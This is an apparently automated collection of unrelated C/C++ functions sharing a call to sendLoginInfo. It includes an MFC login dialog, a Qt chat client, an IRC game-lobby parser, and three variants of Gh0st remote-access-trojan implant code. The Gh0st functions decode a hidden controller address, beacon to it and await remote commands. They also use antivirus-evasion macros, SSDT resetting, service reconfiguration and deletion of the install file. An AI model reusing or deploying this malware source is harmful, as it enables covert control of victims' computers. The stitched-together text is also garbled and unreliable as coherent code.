void CLoginDlg::OnBnClickedOk() { CString username,password; usernameCtrl.GetWindowText(username); passwdCtrl.GetWindowText(password); char *p = new char[256]; //wcstombs( p, username, 256 ); WideCharToMultiByte (CP_ACP, 0, username , -1,p, 256, NULL, NULL); string username_s = p; delete p; char *p_pass = new char[256]; wcstombs( p_pass, password, 256 ); string password_s = p_pass; delete p_pass; //CSysCfgInfo::GetInstance("config.ini"); //string domain_s = CSysCfgInfo::GetInstance().GetCfgInfo("domain"); //string port_s = CSysCfgInfo::GetInstance().GetCfgInfo("port"); LPTSTR lpPath = new wchar_t[100]; LPTSTR domain = new wchar_t[100]; LPTSTR port = new wchar_t[10]; lstrcpy(lpPath, _T(".\\config.ini")); GetPrivateProfileString(_T("Info"), _T("domain"), _T(""), domain, 100, lpPath); GetPrivateProfileString(_T("Info"), _T("port"), _T(""), port, 10, lpPath); delete [] lpPath; char domain_char[100]; char port_char[10]; WideCharToMultiByte (CP_ACP, 0, domain , -1,domain_char, 100, NULL, NULL); WideCharToMultiByte (CP_ACP, 0, port , -1,port_char, 10, NULL, NULL); std::string domain_s = string(domain_char); std::string port_s = string(port_char); //string port_s = port; delete []domain; delete []port; //username_s = username.GetBuffer(0); string result = sendLoginInfo(username_s,password_s,domain_s,port_s); int res = write_data(result.c_str()); if(res) { this->ShowWindow(SW_HIDE); Cvedio2Dlg *mainDlg = new Cvedio2Dlg(m_room_id); mainDlg->DoModal(); SendMessage(WM_CLOSE); // TODO: 在此添加控件通知处理程序代码 } else { MessageBox(_T("登录失败"),_T("系统通知")); } }
void Client::registerWithServer(){ RegisterDialog rd(this); if(rd.exec()){ QString name = rd.name(); QString pass = rd.pass(); userLineEdit->setText(name); passLineEdit->setText(pass); disconnect(tcpSocket, SIGNAL(connected()), this, SLOT(sendLoginInfo())); requestNewConnection(); connect(tcpSocket, SIGNAL(connected()), this, SLOT(sendRegistration())); } }
// read a line of irc and process it. void IRCLobby::processMessage() { assert(irc_server_socket != 0); char buf[1024]; char *host, *mess, *host_end, *user_end, *code,*irc_user,*real_user, *buf_start; readIRCLine(buf, sizeof(buf)); #ifndef WITHOUT_NETPANZER LOGGER.debug("recv irc:%s",buf); #endif buf_start=buf; if(buf[0]==':') { buf_start++; } real_user=irc_user=buf_start; if(strncmp(real_user,nickname_prefix,sizeof(nickname_prefix)-1)==0) { real_user+=sizeof(nickname_prefix)-1; } code=irc_user; // skip 1 word and spaces behind it while(*code && !isspace(*code)) { code++; } while(*code && isspace(*code)) { code++; } if((mess=strchr(code,':'))==NULL) { return; } mess++; char *code_end=code; while(*code_end && !isspace(*code_end)) code_end++; *code_end=0; int code_i=atoi(code); if(code_i == 433) { // wrong user name, change the number at the end char newplayer[256]; char *p; strncpy(newplayer,nickname.c_str(),sizeof(newplayer)-2); newplayer[sizeof(newplayer)-2]=0; p=strchr(newplayer,0); if(isdigit(p[-1])) { p--; while(isdigit(*p) && p>newplayer) p--; p++; } snprintf(p,(newplayer+sizeof(newplayer))-p,"%i",atoi(p)+1); changeNickName(newplayer); return; } if(code_i==1) { sendLoginInfo(); return; } if(code_i>=400 && code_i<500) { addChatMessage("Error",mess); LOG(("IRC:%s",buf)); return; } if(strcmp(code,"NOTICE")==0) { addChatMessage("Lobby",mess); return; } if(code_i==353) { char user_list[1024]; char *u=user_list; char *m=mess; while(*m) { if(strncmp(m,nickname_prefix,sizeof(nickname_prefix)-1)==0) { m+=sizeof(nickname_prefix)-1; } *u++=*m++; } *u=0; addChatMessage("Lobby",user_list); return; } if(strcmp(code,"PONG")==0) { expected_ping=0; return; } if(strcmp(code,"PING")==0 || strncmp(buf,"PING",4)==0) { std::stringstream pong; pong << "PONG " <<mess; sendIRCLine(pong.str()); return; } // get remote user/host if( (host=strchr(buf,'@'))==0 || (user_end=strchr(buf,'!'))==0 ) { return; } *host++=0; *user_end++=0; if(strcmp(code,"JOIN")==0) { std::string joined(real_user); joined+=" has arrived in lobby"; addChatMessage("",joined); return; } if(strcmp(code,"PART")==0 || strcmp(code,"QUIT")==0) { std::string leave(real_user); leave+=" has left the lobby"; addChatMessage("",leave); return; } if((host_end=strchr(host,' '))==0) { return; } *host_end++=0; while(isspace(*host_end)) host_end++; if(strcmp(code,"PRIVMSG")!=0) { return; } if(mess[0]=='#') { // this is a chat message addChatMessage(real_user, mess+1); return; } if(mess[0]=='-') { // this is an internal message if(strcmp(mess+1, ask_server_running_mess)==0) { // reply with server details sendServerInfo(irc_user); } else if(strncmp(mess+1,server_running_mess,sizeof(server_running_mess)-1)==0) { // add a server to the list const char *p=mess+strlen(server_running_mess)+1; const char *map; int players=atoi(p); if((p=strchr(p,'/'))==0) { LOG(("bad server description: %s\n",mess)); return; } int max_players=atoi(++p); int port=_NETPANZER_DEFAULT_PORT_TCP; char *port_str; if((port_str=strstr(p,"port:"))!=0) { port=atoi(port_str+5); } if((map=strstr(p,"map:"))==0) { LOG(("no map name: %s\n",mess)); return; } map+=4; GameServer *server = game_servers->find(host, port); if(server==0) { SDL_mutexP(game_servers_mutex); game_servers->push_back( GameServer(host, port, irc_user,real_user,map, players, max_players)); SDL_mutexV(game_servers_mutex); } else { server->irc_user = irc_user; server->real_user = real_user; server->map = map; server->playercount = players; server->max_players = max_players; } } else if(strncmp(mess+1,leaving_mess,sizeof(leaving_mess)-1)==0) { addChatMessage(real_user,mess); } } }
BOOL Login() { HANDLE hEvent = NULL; char strKillEvent[100]; wsprintf(strKillEvent, "%s %d",MyDecode(modify_data.szDns),GetTickCount()); HANDLE m_hMutex; m_hMutex = CreateMutex(NULL, FALSE, MyDecode(modify_data.szDns)); if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS) { exit(0); ExitProcess(0); return -1; } FUCKAV2 FUCKAV2 FUCKAV2 FUCKAV2 ANTIVIRUS FUCKNOD32 FUCKAV CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; while (1) { if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { for (int i = 0; i < 1000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } Sleep(200); } } lpszHost = MyDecode(modify_data.szDns); dwPort = atoi(MyDecode(modify_data.dwPort)); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost,dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient,strKillEvent,lpszHost,dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } FUCKAV2 FUCKAV2 FUCKAV2 FUCKAV2 ANTIVIRUS FUCKNOD32 FUCKAV return 0; }
DWORD WINAPI main(char *lpServiceName) { char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; ////////////////////////////////////////////////////////////////////////// // Set Window Station strcpy(g_strHost,g_myAddress.strIP); g_dwPort=g_myAddress.nPort; //--这里是同窗口交互 HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// //--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理 //--这里要在dllmain中为CKeyboardManager::g_hInstance赋值 if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); //这里就是错误处理的回调函数了 lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, g_strHost); //ReConfigService(strServiceName); //--lang-- // 删除安装文件 // DeleteInstallFile(lpServiceName); //--lang-- } // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; //---这里声明了一个 CClientSocket类 CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 //--这里判断是否连接成功如果不成功则继续向下 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } //上线地址 lpszHost = g_strHost; dwPort = g_dwPort; if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); //---调用Connect函数向主控端发起连接 OutputDebugString(lpszHost); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环 continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); //---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下 CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }
Client::Client(QWidget *parent) : QDialog(parent), networkSession(0) { // find out which IP to connect to QList<QHostAddress> ipAddressesList = QNetworkInterface::allAddresses(); // use the first non-localhost IPv4 address for (int i = 0; i < ipAddressesList.size(); ++i) { if (ipAddressesList.at(i) != QHostAddress::LocalHost && ipAddressesList.at(i).toIPv4Address()) { ipAddress = ipAddressesList.at(i).toString(); break; } } // if we did not find one, use IPv4 localhost if (ipAddress.isEmpty()) ipAddress = QHostAddress(QHostAddress::LocalHost).toString(); userLabel = new QLabel("Username: "******"Password: "******"Register"); loginButton = new QPushButton("Login"); cancelButton = new QPushButton("Cancel"); buttonBox = new QDialogButtonBox(); buttonBox->addButton(registerButton, QDialogButtonBox::ActionRole); buttonBox->addButton(loginButton, QDialogButtonBox::ActionRole); buttonBox->addButton(cancelButton, QDialogButtonBox::RejectRole); mainLayout = new QGridLayout; mainLayout->addWidget(userLabel, 0, 0, 1, 2); mainLayout->addWidget(userLineEdit, 1, 0, 1, 5); mainLayout->addWidget(passLabel, 2, 0, 1, 2); mainLayout->addWidget(passLineEdit, 3, 0, 1, 5); mainLayout->addWidget(statusLabel, 4, 0, 3, 4); mainLayout->addWidget(buttonBox, 7, 1, 1, 2); setLayout(mainLayout); tcpSocket = new QTcpSocket(this); connect(registerButton, SIGNAL(clicked()), this, SLOT(registerWithServer())); connect(cancelButton, SIGNAL(clicked()), this, SLOT(close())); connect(loginButton, SIGNAL(clicked()), this, SLOT(requestNewConnection())); connect(tcpSocket, SIGNAL(connected()), this, SLOT(sendLoginInfo())); connect(tcpSocket, SIGNAL(readyRead()), this, SLOT(updateLabels())); //connect(tcpSocket, SIGNAL(disconnected()), this, SLOT(connectionClosedByServer())); QNetworkConfigurationManager manager; if (manager.capabilities() & QNetworkConfigurationManager::NetworkSessionRequired) { // Get saved network configuration QSettings settings(QSettings::UserScope, QLatin1String("Trolltech")); settings.beginGroup(QLatin1String("QtNetwork")); const QString id = settings.value(QLatin1String("DefaultNetworkConfiguration")).toString(); settings.endGroup(); // If the saved network configuration is not currently discovered use the system default QNetworkConfiguration config = manager.configurationFromIdentifier(id); if ((config.state() & QNetworkConfiguration::Discovered) != QNetworkConfiguration::Discovered) { config = manager.defaultConfiguration(); } networkSession = new QNetworkSession(config, this); connect(networkSession, SIGNAL(opened()), this, SLOT(sessionOpened())); statusLabel->setText(tr("Opening network session.")); networkSession->open(); } }
DWORD WINAPI main(char *lpServiceName) #endif { #ifdef _CONSOLE if (argc < 3) { printf("Usage:\n %s <Host> <Port>\n", argv[0]); return -1; } #endif // lpServiceName,在ServiceMain返回后就没有了 char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; #ifdef _DLL char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); if (lpURL == NULL) { return -1; } ////////////////////////////////////////////////////////////////////////// // Set Window Station HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); ResetSSDT(); lstrcpy(strServiceName, lpServiceName); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 hInstallMutex = CreateMutex(NULL, true, lpURL); ReConfigService(strServiceName); // 删除安装文件 DeleteInstallFile(lpServiceName); } // http://hi.baidu.com/zxhouse/blog/item/dc651c90fc7a398fa977a484.html #endif // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 while (1) { // 如果不是心跳超时,不用再sleep两分钟 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分钟断线重连, 为了尽快响应killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; break; } // 改一下 Sleep(60); } } #ifdef _DLL // 上线间隔为2分, 前6个'A'是标志 if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, &dwProxyPort, &lpszProxyUser, &lpszProxyPass)) { bBreakError = GETLOGINFO_ERROR; continue; } #else lpszHost = argv[1]; dwPort = atoi(argv[2]); #endif if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } #ifdef _DLL ////////////////////////////////////////////////////////////////////////// // Restor WindowStation and Desktop // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 // SetProcessWindowStation(hOldStation); // CloseWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// #endif SetErrorMode(0); ReleaseMutex(hInstallMutex); CloseHandle(hInstallMutex); }